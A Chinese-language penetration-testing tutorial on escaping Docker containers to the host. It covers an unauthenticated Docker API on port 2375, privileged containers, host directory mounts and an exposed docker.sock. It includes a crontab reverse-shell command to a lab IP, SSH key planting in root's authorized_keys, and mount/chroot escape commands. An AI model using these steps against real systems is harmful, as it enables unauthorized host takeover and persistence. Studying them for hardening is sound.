简介
docker常规启动调用链如下:
docker client => dockerd => docker-containerd => docker-containerd-shim => runc(容器外) => runc (容器内) => container-entrypoint
常规利用关注点:
用户侧:不安全的配置
服务侧:容器服务自身漏洞
系统测:内核漏洞
不安全的配置
docker未授权
利用dockcer api来操作docker执行命令,从而进步获得宿主机权限
访问相关端口
http://192.168.3.19:2375/version
远程连接
docker -H tcp://192.168.3.19:2375 version
镜像获取
运行情况获取
进入已经启动的容器内
反弹shell
运行一个新容器,挂载宿主机目录到mnt
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.3.1/50401 0>&1\n" >> /mnt/etc/crontab
写密钥
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaAPKqIqS1r20JOSl/TVxFObirhawQZr1NGNEkhV7ZdoKeyaLqNEyweGM/QK8zCIK1Wm+Py0ZMStBjc0NREQJCMtCkLAHeAzCPr/RNfewH4ouZjhNKPUNN6r9aji8/2WSLEKn9yma0cSuQa+WhnrtMdPze1wupoZFWZVH5P1t5IIQ2RLpbx0+8hBZ53hLnSnxDonngcSe/XkbMOMgbkPQmu9HL8Lshz7DCK1sbyrTCHktWaz8tEEl2/6ykl6eBGnfK/E3bSX2slDQkwy2gMXN+UXdFNLfHg06Cw7nkm4BaKoHo+bujXBjScDuVTwR5r1/wF0KF7FyvYHnNOBzq1OoV root@node1” > /root/.ssh/authorized_keys
攻击机密钥连接即可
cd /root/.ssh/
ssh -i id_rsa root@192.168.3.19
高危启动参数
存在一些高危,将会给予容器较大权限,允许执行一些特权操作,在一定的条件下讲导致容器逃逸,比如通过些ssh密钥、计划任务等方式
常见参数
docker run --rm -it
--privileged
-v /:/soft
--cap-add=SYS_ADMIN
--net=host
--pid=host
--ipc=host
ubuntu
/bin/bash
privileged利用
容器启动如下docker run —privileged,容器就能够访问宿主机上所有设备、目录等信息,而K8s是配置文件启用了privileged true
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: tomcat-deployment
labels:
app: tomcat
spec:
replicas: 2
selector:
matchLabels:
app: tomcat
template:
metadata:
labels:
app: tomcat
spec:
containers:
- name: tomcat
image: tomcat:latest
ports:
- containerPort: 8080
securityContext:
privileged: true
此处假设以获取webshell、反弹shell进步利用
查看磁盘
fdisk -l
进步挂载目录
mkdir 2022
mount /dev/sda1 /usr/local/tomcat/webapps/ROOT/2022
chroot /usr/local/tomcat/webapps/ROOT/2022 bash
docker环境利用,如果使用此参数,容器可以完全访问所有设备,不受linux capabilities的限制
docker run -it --privileged centos /bin/bash
mkdir /tmp/ttt
mount /dev/sda1 /tmp/tttt 挂载效果如下
进步进入目录写入计划任务等均可
挂载敏感目录利用
如下此处将宿主机的root目录挂载到容器的root上,效果如下
或者直接挂载/ -v /:/test,反弹shell如下
docker.sock挂载
docker in docker,在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中
发现docker.sock如下
find / -name docker.sock
查看宿主机docker信息
docker -H unix:///var/run/docker.sock info
运行新docker并挂载到宿主机目录上
m1文件为宿主机目录下,后续同理反弹shell即可